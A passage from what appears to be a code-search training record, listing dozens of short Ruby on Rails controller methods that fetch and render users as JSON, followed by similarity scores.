"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def check_params; true; end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def list_params\n params.permit(:name)\n end",
"def check_params\n true\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def additional_permitted_params\n []\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end",
"def allow_params_authentication!; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end",
"def quote_params\n params.permit!\n end",
"def list_params\n params.permit(:list_name)\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def all_params; end",
"def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end",
"def source_params\n params.require(:source).permit(all_allowed_params)\n end",
"def user_params\n end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end",
"def permitted_params\n @wfd_edit_parameters\n end",
"def user_params\r\n end",
"def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def params_permit\n params.permit(:id)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def filter_params\n params.permit(*resource_filter_permitted_params)\n end",
"def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end",
"def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend",
"def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def argument_params\n params.require(:argument).permit(:name)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def parameters\n nil\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end",
"def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end",
"def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end"
] |
[
"0.7121987",
"0.70541996",
"0.69483954",
"0.6902367",
"0.6733912",
"0.6717838",
"0.6687021",
"0.6676254",
"0.66612333",
"0.6555296",
"0.6527056",
"0.6456324",
"0.6450841",
"0.6450127",
"0.6447226",
"0.6434961",
"0.64121825",
"0.64121825",
"0.63913447",
"0.63804525",
"0.63804525",
"0.6373396",
"0.6360051",
"0.6355191",
"0.62856233",
"0.627813",
"0.62451434",
"0.6228103",
"0.6224965",
"0.6222941",
"0.6210244",
"0.62077755",
"0.61762565",
"0.61711127",
"0.6168448",
"0.6160164",
"0.61446255",
"0.6134175",
"0.6120522",
"0.6106709",
"0.60981655",
"0.6076113",
"0.60534036",
"0.60410434",
"0.6034582",
"0.6029977",
"0.6019861",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.60184896",
"0.60157263",
"0.6005857",
"0.6003803",
"0.60012573",
"0.59955895",
"0.5994598",
"0.5993604",
"0.5983824",
"0.5983166",
"0.5977431",
"0.597591",
"0.5968824",
"0.5965953",
"0.59647584",
"0.59647584",
"0.59566855",
"0.59506303",
"0.5950375",
"0.59485626",
"0.59440875",
"0.5930872",
"0.5930206",
"0.5925668",
"0.59235454",
"0.5917905",
"0.59164816",
"0.5913821",
"0.59128743",
"0.5906617",
"0.59053683",
"0.59052664",
"0.5901591",
"0.58987755",
"0.5897456",
"0.58970183",
"0.58942604"
] |
0.0
|
-1
|
initializes with a nervous mood
|
def initialize(name, owner)
@name = name
@owner = owner
@mood = "nervous"
@@all << self
@owner.dogs << self
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize(name, mood=\"nervous\")\n @name = name\n @mood = mood\n end",
"def initialize(name, mood=\"nervous\")\n @name = name\n @mood = mood\n end",
"def initialize(name, mood = \"nervous\")\n @name=name\n @mood = mood \n end",
"def initialize(name, mood = \"nervous\")\n @name = name\n @mood = mood\n end",
"def initialize(name, mood = \"nervous\")\n @name = name\n @mood = mood\n end",
"def initialize(name, mood = \"nervous\")\n @name = name\n @mood = mood\n end",
"def initialize(name) #called when .new is used. only need an intialize method if we want to set properties upon iniitialization\n @name = name\n @mood = \"nervous\"\n end",
"def initialize(name)\n @name = name\n @mood = \"nervous\"\n end",
"def initialize(name)\n @name = name\n @mood = \"nervous\"\n end",
"def initialize(name)\n @name = name\n @mood = \"nervous\"\n end",
"def initialize(name)\n @name = name\n @mood = \"nervous\"\n end",
"def new\n @mood = Mood.new\n end",
"def initialize(name)\n\t\t# 5. Create name instance variable\n\t\t@name = name\n\t\t# 6. Create mood instance variable\n\t\t@mood = \"nervous\"\n\tend",
"def mood\n\t\tself.nausea < self.happiness ? mood = \"happy\" : mood = \"sad\"\n\tend",
"def initialize(name)\n @name = name # Fish is initialized with a name\n @mood = \"nervous\" # Fish is initialized with a nervous mood\n end",
"def mood=(mood)\n @mood = mood\n end",
"def initialize(name, owner)\n @name = name\n @owner = owner\n @mood = \"nervous\" #initialize with nervous mood\n @@all << self\n self.owner.cats << self\n end",
"def initialize(name) #can initialize dog(create new instance of Dog)/callback method\n @name = name #argument is a placeholder/#initialize with a name\n @mood = \"nervous\"\n end",
"def initialize\n @e_tanks = 4\n\n # alive (true) ; defeated (false)\n @bubble_man = false\n @air_man = false\n @quick_man = false\n @wood_man = false\n @crash_man = false\n @flash_man = false\n @metal_man = false\n @heat_man = false\n end",
"def initialize (threat_level=:high)\n super (threat_level)\n # @habitat = \"house of unsespecting family\"\n\n end",
"def initialize(name, breed)\n @name = name\n @breed = breed\n @action_count = 0\n @laying = false\n end",
"def mood\n mood = Mood.new(@major.type, @minor.type, @conclusion.type)\n return mood\n end",
"def initialize(name)\n super(name: name)\n self.hit_points = 10\n self.charm_points = 10\n self.house_id = House.all.sample.id\n self.wand = Character.all.select{|c| !c.wand.start_with?(\" \") }.sample.wand\n self.pet = [\"cat\", \"owl\", \"toad\", \"rat\"].sample\n self.patronus = MY_ANIMAL_FAKER.sample\n @classmates_faced = []\n self.friends = 0\n self.victories = 0\n end",
"def initialize\n monster_chance\n end",
"def initialize (name, owner)\n @name = name\n @owner = owner\n @mood = \"nervous\"\n @@all << self\n end",
"def initialize (name, owner)\n @name = name\n @owner = owner\n @mood = \"nervous\"\n\n @@all << self\n end",
"def set_mood\n @mood = Mood.find(params[:id])\n end",
"def set_mood\n @mood = Mood.find(params[:id])\n end",
"def set_mood\n @mood = Mood.find(params[:id])\n end",
"def set_mood\n @mood = Mood.find(params[:id])\n end",
"def init_for_battle\n super\n self.song_count = 0\n initialize_anger\n end",
"def mood=(current_mood)\n @mood = current_mood\n end",
"def initialize()\n @mano = $sin_jugada\n end",
"def initialize\n @hungry = true\n end",
"def set_mood\n @mood = Mood.find(params[:id])\n end",
"def initialize \n\t\t@alive #checking they're alive\n\t\t\tputs \"I am alive\"\n\t\t@health=150 #initialize that all mammals start at 150\n\t\tself\n\tend",
"def initialize\n # kosong\n end",
"def initialize(name, owner)\n @name = name\n @owner = owner\n @mood = \"nervous\"\n @@cats << self\n end",
"def set_mood\n @mood = Mood.find_by_id(params[:id])\n end",
"def mood\n unless admin\n happiness > nausea ? 'happy' : 'sad'\n end\n end",
"def initialize(n=\"unknown body\",m=1,p=[0,0,0],v=[0,0,0])\r\n\t\t@pos = p\r\n\t\t@vel = v\r\n\t\t@name = n\r\n\t\t@mass = m\r\n\tend",
"def mood\n if nausea && happiness\n self.nausea > self.happiness ? \"sad\" : \"happy\" \n end\n end",
"def mood\n \tself.happiness > self.nausea ? \"happy\" : \"sad\" if self.happiness && self.nausea\n end",
"def intialize\n @buns = [:wheat, :lettuce, :cheeto, :cotton_candy, :seaweed, :classic]\n end",
"def initialize\n @@number_of_dogs +=1\n end",
"def initialize (threat_level=:medium)\n super (threat_level)\n @habitat = \"graveyard\"\n\n\n end",
"def mood \n if self.happiness && self.nausea\n mood = self.happiness - self.nausea\n mood > 0 ? \"happy\" : \"sad\"\n end\n end",
"def mood\n if self.happiness && self.nausea\n self.happiness > self.nausea ? \"happy\" : \"sad\"\n end\n end",
"def init(phrase)\n super(phrase)\n self.mode = LITERAL_MODE\n self.pieces = []\n self.pf0 = nil # plural forms without name yet\n end",
"def init\n self.like_count = 0 if self.like_count.nil?\n end",
"def my_initialize\n\t\t@classes = 1\n\t\t@toys = 0\n\t\t@books = 0\t\t\n\t\tsrand seed.to_i\n\t\t@location = nil\n\t\tnext_spot()\n\t\t@random_number = 0\n\t\ttrue\n\tend",
"def initialize(name) # je recrée un initialize et je fais appel aux caractéristiques de la classe mère avec super\n super(name)\n\n @life_points = 100 # j'ajoute les caractéristiques propres au joueur humain\n @weapon_level = 1\n end",
"def initialize(name, owner)\n @name = name\n @owner = owner\n @mood = \"nervous\"\n @owner.dogs << self\n @@all << self\n end",
"def initialize\n @animal = 'Dog'\n @sound = 'Barks'\n end",
"def initialize(color_of_eye, nationality, language)\n @color_of_eye = color_of_eye\n @nationality = nationality\n @language = language\n end",
"def initialize (money, life, fights, respect)\n #The health bar of the player, when the health gets down to 0 the player loses.\n @life = life\n #The wealth that the player has amassed throughout the game.\n @money = money\n #Respect that the player has earned winning fights in the game\n @respect = respect\n #Number of fight events that the player has won.\n @fights = fights\n #List of states for the game.\n @states = []\n\tend",
"def initialize\n # constructor code goes here\n @age=0\n @height = 0\n @pears = []\n end",
"def initialize (name)\n\t\t@name = name\n\t\t@poos_how_often = \"regularly\"\n\t\tputs @@new_pet_message\n\t\t@@count = @@count + 1\n\tend",
"def initialize (threat_level=:medium)\n # note that zombies created without a threat level\n # will still have a default threat_level of :medium\n super(threat_level) \n @habitat = \"graveyard\"\n end",
"def initialize(breed, name, age)\n @breed = breed\n @name = name\n @age = age\n @hungry = true\n end",
"def initialize(breed, name, age)\n @breed = breed\n @name = name\n @age = age\n @hungry = true\n end",
"def initialize(nation, megatonnage: 400, defcon: 5, sufddir: 0.0, inddir: 0.0,\n\t\t\t\t\t\t\t sacpop: 0, rad_level: 0, em_immunity: true,\n\t\t\t\t\t\t\t population: 300_000_000, accuracy: 0, score: 0, is_player: false)\n\n\t\t\t@nation = nation.to_s.upcase\n\t\t\t@sufddir = sufddir #suffering of death, destruction, and incapacitation of response\n\t\t\t@inddir = inddir #infliction of death, destruction, and incapacitation of response\n\t\t\t@defcon = defcon\n\t\t\t@sacpop = sacpop # strikes against civilian populations\n\t\t\t@megatonnage = megatonnage # distrubtion of megatonnage determined by mean-value theorem of integrals\n\t\t\t@rad_level = rad_level\n\t\t\t@em_immunity = em_immunity\n\t\t\t@population = population\n\t\t\t@accuracy = accuracy\n\t\t\t@score = score\n\t\t\t@targets_hit = Hash.new(0)\n\t\t\t@is_player = is_player\n\t\tend",
"def mood\n self.happiness > self.nausea ? \"happy\" : \"sad\"\n end",
"def passive_voice_indicative_mood_present_tense\n end",
"def initialize(name = nil)\n super(name)\n @at_will_available = 0\n @encounter_available = 0\n @encounter_spells = 1\n @default_encounter_spells = 1\n @encounter_abilities = 1\n @default_encounter_abilities = 1\n @level = 1\n @experience = 0\n @minimum_money = 0\n end",
"def active_voice_indicative_mood_imperfect_tense\n end",
"def active_voice_indicative_mood_present_tense\n end",
"def initialize\n @board = create_board\n @god_mode = false\n end",
"def passive_voice_subjunctive_mood_present_tense\n end",
"def initialize\n self.height = 0\n self.age = 0\n self.fruits = 0\n self.living = true\n end",
"def initialize(pkmn)\n super()\n @pokemon = pkmn\n @egg = pkmn.clone\n @egg.step_remaining = 1\n @counter = 0\n play_music\n end",
"def initialize(happy)\n @happy = happy\n end",
"def active_voice_subjunctive_mood_present_tense\n end",
"def noun; end",
"def noun; end",
"def initializePesos\r\n \t@cantNeuronas.times do\r\n\t patron = @patrones[rand(@patrones.count-1)]\r\n @neuronas << {:class=>rand(@cantClases), :pesos => initPesos}\r\n\tend\r\n end",
"def passive_voice_indicative_mood_imperfect_tense\n end",
"def initialize\r\n\t\t# another way of making an array\r\n\t\t@words = %w\"learning lollipop education image computer mobile january february friday flower beauty light earth machine book\r\n\t\tnews yahoo google internet bangladesh india america cricket football friday sunday sunny\"\r\n\t\t@chances_left = 5\r\n\r\n\t\t@game_over = false\r\n\r\n\t\t\r\n\tend",
"def initialize(n, h, w, a)\n # defines instance variables upon creation of new object\n # ties specific and individual data to created object (state)\n @name = n\n @height = h\n @weight = w\n\n # increment number of dogs each time new GoodDog object is initialized\n @@number_of_dogs += 1\n # class variables accessible throughout class definition\n\n # use constant to calculate age in dog years when object is initialized\n self.age = a * DOG_YEARS\n end",
"def initialize\n @rooms = { #defines the rooms available for use on each floor\n :upstairs => [\"Master Bedroom\", \"A Guest Room\", \"Tower\", \"Balcony\", \"Observatory\", \"The Hole Room\"],\n :main => [\"Kitchen\", \"Library\", \"Study\", \"Dining Room\", \"Living Room\", \"Vault\"],\n :downstairs => [\"Furnace Room\", \"Chapel\", \"Storage Room\", \"The Pit\"]\n }\n\n @used_rooms = []\n @omen_count = 0 #Omens are a game event that change the story line. Once the omen count reaches 10 the haunt starts\n @player = Character.new\n intro #script\n entry_hall(\"Main Hallway\")\n game\n end",
"def initialize(mano)\n\t\t@jugada = mano\n\tend",
"def initialize(name)\n @name = name\n @emotion = @@human_emotions\n end",
"def initialize\n @name_boy = default_male_name\n @name_girl = default_female_name\n $game_switches[Yuki::Sw::Gender] = @playing_girl = false\n $game_variables[Yuki::Var::Player_ID] = @id_boy = rand(0x3FFFFFFF)\n @id_girl = (@id_boy ^ 0x28F4AB4C)\n @start_time = Time.new.to_i\n @play_time = 0\n @badges = Array.new(6 * 8, false)\n @region = 0\n @game_version = PSDK_CONFIG.game_version\n @current_version = PSDK_Version rescue 0\n @time_counter = 0\n load_time\n end",
"def mood\n if self.happiness < self.nausea\n \"sad\"\n else\n \"happy\"\n end\n end",
"def initialize\n # Random number between 0 and 12\n @x = rand(12) + 1\n \n # We want vials and herbs to have higher chance to show up in rooms. \n if @x >= 8 and @x < 10\n @objX = $objs[4]\n @x = 4\n elsif @x >= 10\n @objX = $objs[7]\n @x = 7\n else\n @objX = $objs[@x]\n end\n end",
"def initialize\n @age = 0\n @height = 0\n @apples = 0\n @harvested_apples = 0\n end",
"def movie_initializer\r\n new_movie = Movie.new\r\n end",
"def initialize(apt_no, rent, br, baths)\n\t\t@is_occupied = false\n\t\t@apt_no = apt_no\n\t\t# Note that this then redefines what rent is -- it was actually in place from above, and set to nil\n\t\t@rent = rent\n\n\t\t# Let's set these read-only properties\n\t\t@bedrooms = br\n\t\t@baths = baths\n\tend",
"def mood\n if self.nausea > self.happiness\n \"sad\"\n else\n \"happy\"\n end\n end",
"def initialize\n @knowledge = [] \n end",
"def initialize(happy, ennui, sad, angry, upset, content, regretful, lonely, schadenfreude, empty, melancholy, none_of_the_above)\n self.happy = happy\n self.ennui = ennui\n self.sad = sad\n self.angry = angry\n self.upset = upset\n self.content = content\n self.regretful = regretful\n self.lonely = lonely\n self.schadenfreude = schadenfreude\n self.empty = empty\n self.melancholy = melancholy\n self.none_of_the_above = none_of_the_above\n return true\n end",
"def initialize\n \n end",
"def mood\n if self.nausea && self.happiness\n self.nausea > self.happiness ? (return \"sad\") : (return \"happy\")\n end\n end",
"def learnmood room = nil, mood = nil, debug = false\n debug and ( p 'Learning mood: ' + mood )\n rooms = self.class.get_rooms self.get_config\n if rooms[room] and mood and rooms[room]['learnmood'][mood]\n command = self.command rooms[room], nil, rooms[room]['learnmood'][mood]\n debug and ( p 'command is ' + command )\n self.raw command\n else\n STDERR.puts self.usage( room )\n end\n end",
"def initialize\n self.horses = []\n end",
"def initialize nama\n @nama = nama\n\t@blood = 100\n\t@manna = 40\n\t@status =\"\"\n end",
"def initialize(player)\n @en_passant = false\n super(player)\n end",
"def create\n @mood = Mood.new(mood_params)\n @mood.user = current_user\n respond_to do |format|\n if @mood.save\n format.html { redirect_to moods_path, notice: \"Mood was successfully created.\" }\n format.json { render :show, status: :created, location: @mood }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @mood.errors, status: :unprocessable_entity }\n end\n end\n end",
"def initialize\r\n @health = 20\r\n end",
"def initialize\n \t\ttmax = TERRAIN_TRIANGLE_MAX_HEIGHT\n \t\ttmin = TERRAIN_TRIANGLE_MIN_HEIGHT\n \tsuper(50,100, tmin, tmax-tmin, BROWN)\n\t @depth = 20\n \t@groups = [:all, :terrain, :can_kill]\n \tend"
] |
[
"0.7180146",
"0.7180146",
"0.7125503",
"0.7063701",
"0.7063701",
"0.7063701",
"0.697618",
"0.69642234",
"0.69642234",
"0.69642234",
"0.69101995",
"0.66320884",
"0.6576283",
"0.617197",
"0.6086757",
"0.60819185",
"0.60811454",
"0.59800637",
"0.59403425",
"0.5930632",
"0.5905339",
"0.58968717",
"0.58964825",
"0.5890099",
"0.58814305",
"0.584891",
"0.5840422",
"0.5840422",
"0.5840422",
"0.5840422",
"0.5811032",
"0.5793822",
"0.5760064",
"0.5737225",
"0.573657",
"0.5719972",
"0.5712334",
"0.5649726",
"0.5646842",
"0.5638672",
"0.56108475",
"0.5593764",
"0.5559392",
"0.5547175",
"0.55102193",
"0.5506857",
"0.5464391",
"0.54407334",
"0.54293615",
"0.5394523",
"0.5380057",
"0.5370384",
"0.5366603",
"0.5365285",
"0.5346404",
"0.53271294",
"0.53236544",
"0.5302022",
"0.52992994",
"0.5299031",
"0.5299031",
"0.52966964",
"0.52945465",
"0.52904576",
"0.5278175",
"0.52730376",
"0.52664256",
"0.5262901",
"0.525672",
"0.5256569",
"0.52545774",
"0.52464813",
"0.524597",
"0.5243971",
"0.5243971",
"0.52419806",
"0.52405524",
"0.52300894",
"0.5229158",
"0.5224582",
"0.52061486",
"0.52045745",
"0.5200251",
"0.5199096",
"0.51932526",
"0.51871705",
"0.51818365",
"0.5180299",
"0.51647186",
"0.51642054",
"0.5156344",
"0.51505834",
"0.51493466",
"0.5147017",
"0.5144228",
"0.51428115",
"0.51382",
"0.5135126",
"0.5133746",
"0.51324046"
] |
0.51853275
|
86
|
GET /users GET /users.json
|
def index
unless user_signed_in?
flash[:notice]= "You must be signed in to see other users"
redirect_to root_path
end
@users = User.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def users(args = {})\n get(\"/users.json\",args)\n end",
"def show\n begin\n user = User.find(params[:user_id])\n render json: { users: user }, status: :ok\n rescue => e\n render json: { errors: e.message}, status: 404\n end\n end",
"def GetUsers params = {}\n\n params = params.merge(path: 'users.json')\n APICall(params)\n\n end",
"def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/users/#{params[:id]}.json\"\n\t response = RestClient.get(url)\n\t @user = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/users.json\"\t \n response = RestClient.get(url)\n @users = JSON.parse(response.body)\t\t \n\tend\n end",
"def list_users\n self.class.get('/users')\n end",
"def users\n get('get_users')\n end",
"def index\n users = User.all\n json_response(users)\n end",
"def show\n @users = User.all\n json_response(@users)\n end",
"def list\r\n users = User.all\r\n render json: users\r\n end",
"def show\n @users = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @users }\n end\n end",
"def get \n render :json => User.find(params[:id])\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n users = User.all\n render json: { users: users }, status: :ok\n end",
"def index\r\n users = User.all\r\n render json: users\r\n end",
"def users(params = {})\n params.merge!(key: 'users')\n objects_from_response(Code42::User, :get, 'user', params)\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def users(params = {})\n make_get_request('/account/users', params)\n end",
"def index\n users = User.all\n render json: users \n end",
"def index\n users = User.all\n\n render json: users, each_serializer: Api::V1::UsersSerializer\n end",
"def index\n user= User.all\n render json: {users:user}\n end",
"def index\n @users = User.all\n render json: @users, status: :ok\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n json_response(User.all) \n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def user_info\n @user = @github.users.get user: params[:username]\n render json: Hash[@user]\n end",
"def index\n users = User.all \n render json: users \n end",
"def index\n\t\t# specifying json format in the URl\n\t uri = \"#{API_BASE_URL}/users.json\"\n\t # It will create new rest-client resource so that we can call different methods of it\n\t rest_resource = RestClient::Resource.new(uri, USERNAME, PASSWORD)\n\n\t # this next line will give you back all the details in json format, \n\t #but it will be wrapped as a string, so we will parse it in the next step.\n\t users = rest_resource.get \n\n\t # we will convert the return data into an array of hash. see json data parsing here\n\t @users = JSON.parse(users, :symbolize_names => true)\n\tend",
"def index\n\t\t@users = User.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json { render json: @users.map(&:as_json) }\n\t\tend\n\tend",
"def list\n render json: User.all\n end",
"def index\n @users = User.all\n render json: @users, status: :ok\n end",
"def user\n render :json=> User.find(params[:id])\n end",
"def index\n\n users = User.all \n render json: users\n\n end",
"def show\n render json: Users.find(params[\"id\"])\n end",
"def GetUser id\n\n APICall(path: \"users/#{id}.json\")\n\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html\n format.json { render json: @users }\n end\n end",
"def show\n @users = User.find(params[:id])\n if @users\n respond_to do |format|\n format.json { render :json => @users }\n format.xml { render :xml => @users }\n end\n else\n head :not_found\n end\n end",
"def index\n \t@users = User.all\n\n respond_to do |format| \n format.json { render json: @users }\n end\n end",
"def list\n get('users')['users']\n end",
"def index\n render ActiveModelSerializers::SerializableResource.new(@users,\n each_serializer: UserSerializer\n ).to_json, status: 200\n end",
"def index\n @users = User.all \n render json: @users, status: :ok \n end",
"def index\n @users = User.all\n logger.debug(\"user index\")\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n render json: User.all\n end",
"def index\n @users = User.order_by(last_name: :desc)\n if @users\n render json: Oj.dump(json_for(@users, include: ['phones', 'cards'], meta: meta), mode: :compat)\n else\n return head :unauthorized\n end\n end",
"def users(params = {})\n response = get('users/lookup.json', params)\n response.map {|user| Croudia::Object::User.new(user) }\n end",
"def index\n render json: User.all\n end",
"def index\n render json: User.all\n end",
"def show\n user = User.find(params[:id])\n render json: @user\nend",
"def list_users(user_id)\n self.class.get(\"/users/#{user_id}\")\n end",
"def show\n user = User.find(params[:id])\n render json: user\n end",
"def index\n\t\t@users = User.all\n\n\t\trespond_to do |format|\n\t\t format.html # index.html.erb\n\t\t format.json { render json: @users }\n\t\tend\n\tend",
"def index\n @users = User.all(limit: 100)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users.as_json(user: current_user) }\n end\n end",
"def get_users\r\n # Prepare query url.\r\n _path_url = '/users'\r\n _query_builder = Configuration.get_base_uri\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n decoded.map { |element| User.from_hash(element) }\r\n end",
